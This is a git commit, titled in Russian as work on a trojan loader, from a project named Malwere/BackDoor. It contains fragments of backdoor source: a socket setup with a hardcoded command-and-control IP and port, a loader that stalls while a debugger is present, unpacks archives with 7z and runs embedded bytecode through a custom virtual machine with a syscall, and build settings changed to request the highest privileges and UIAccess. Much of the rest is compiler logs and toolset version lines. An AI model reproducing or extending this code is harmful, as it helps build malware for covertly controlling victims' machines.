Делаю загрузчик трояна

This commit is contained in:
Данил
2024-09-03 20:30:55 +07:00
parent a5bc6af93b
commit 464c7094c9
53 changed files with 66 additions and 55 deletions
+3 -5
View File
@@ -1,5 +1,3 @@
const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0=";
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#pragma comment(lib,"Ws2_32.lib")
@@ -12,9 +10,9 @@ const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtL
// Çàìåíèòü IP è port
#pragma region Network
const unsigned short int lengthIP = 12;
char InternetProtacol[lengthIP] = "081-057-/-5";
int port = 1111;
const unsigned short int lengthIP = 15;
char InternetProtacol[lengthIP] = "036-34-144-104";
int port = 1112;
SOCKADDR_IN addr;
SOCKET Socket;
Binary file not shown.
Binary file not shown.
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Debug|x64|D:\Projects\Malwere\|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Release|x64|D:\Projects\Malwere\|
Binary file not shown.
+3 -2
View File
@@ -1,5 +1,3 @@
const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0=";
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include "NetDLL.h"
@@ -15,6 +13,9 @@ void NetInit()
void MyConnect(SOCKADDR* addr, SOCKET* Socket)
{
if (WSAConnect(*Socket, addr, sizeof(*addr), NULL, NULL, NULL, NULL))
{
std::cout << WSAGetLastError() << '\n';
exit(2);
}
Sleep(10);
}
Binary file not shown.
+3 -1
View File
@@ -1,3 +1,5 @@
LINK : не найден или не выполнена сборка D:\Projects\Malwere\x64\Debug\NetDLL.dll при последней инкрементной компоновке; выполняется полная компоновка
NetDLL.cpp
D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(6,6): warning C4273: NetInit: несовместимое связывание dll
D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(13,6): warning C4273: MyConnect: несовместимое связывание dll
Создается библиотека D:\Projects\Malwere\x64\Debug\NetDLL.lib и объект D:\Projects\Malwere\x64\Debug\NetDLL.exp
NetDLL.vcxproj -> D:\Projects\Malwere\x64\Debug\NetDLL.dll
Binary file not shown.
Binary file not shown.
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Debug|x64|D:\Projects\Malwere\|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+5 -2
View File
@@ -1,6 +1,9 @@
Создается библиотека D:\Projects\Malwere\x64\Release\NetDLL.lib и объект D:\Projects\Malwere\x64\Release\NetDLL.exp
NetDLL.cpp
D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(6,6): warning C4273: NetInit: несовместимое связывание dll
D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(13,6): warning C4273: MyConnect: несовместимое связывание dll
Создается библиотека D:\Projects\Malwere\x64\Release\NetDLL.lib и объект D:\Projects\Malwere\x64\Release\NetDLL.exp
Создание кода
0 of 2 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
1 of 10 functions (10.0%) were compiled, the rest were copied from previous compilation.
0 functions were new in current compilation
0 functions had inline decision re-evaluated but remain unchanged
Создание кода завершено
Binary file not shown.
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Release|x64|D:\Projects\Malwere\|
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1 -4
View File
@@ -1,15 +1,13 @@
const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0=";
#include <Windows.h>
#include "Virtualisetion.h"
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR lpCmdLine, int nCmdShow)
//int main()
{
while(IsDebuggerPresent()) {}
system("7z.exe x main.ar -y");
system("7z.exe x module.ar -y");
const int SizeCode = 25;
char Code[SizeCode] = {
@@ -25,6 +23,5 @@ int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
Syscall
};
VirtualStart(Code, SizeCode);
return 0;
}
+8 -8
View File
@@ -111,9 +111,9 @@
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
@@ -158,9 +158,9 @@
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
@@ -198,9 +198,9 @@
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
@@ -245,9 +245,9 @@
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
+1
View File
@@ -11,5 +11,6 @@
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerDebuggerType>Auto</LocalDebuggerDebuggerType>
</PropertyGroup>
</Project>
+1 -5
View File
@@ -1,11 +1,7 @@
cl : командная строка warning D9035: использование параметра "Zc:forScope-" нежелательно, он будет удален в следующих выпусках
main.cpp
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(108,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(90,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
LINK : warning LNK4075: не учитывается "/INCREMENTAL" из-за спецификации "/OPT:REF"
main.obj : warning LNK4075: не учитывается "/EDITANDCONTINUE" из-за спецификации "/OPT:REF"
main.vcxproj -> D:\Projects\Malwere\x64\Debug\main.exe
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Debug|x64|D:\Projects\Malwere\|
Binary file not shown.
Binary file not shown.
+1 -5
View File
@@ -1,10 +1,6 @@
cl : командная строка warning D9035: использование параметра "Zc:forScope-" нежелательно, он будет удален в следующих выпусках
main.cpp
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(96,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(90,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
LINK : указан параметр /LTCG, но не требуется создание кода; удалите /LTCG из командной строки компоновки для повышения производительности компоновщика
main.vcxproj -> D:\Projects\Malwere\x64\Release\main.exe
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Release|x64|D:\Projects\Malwere\|
Binary file not shown.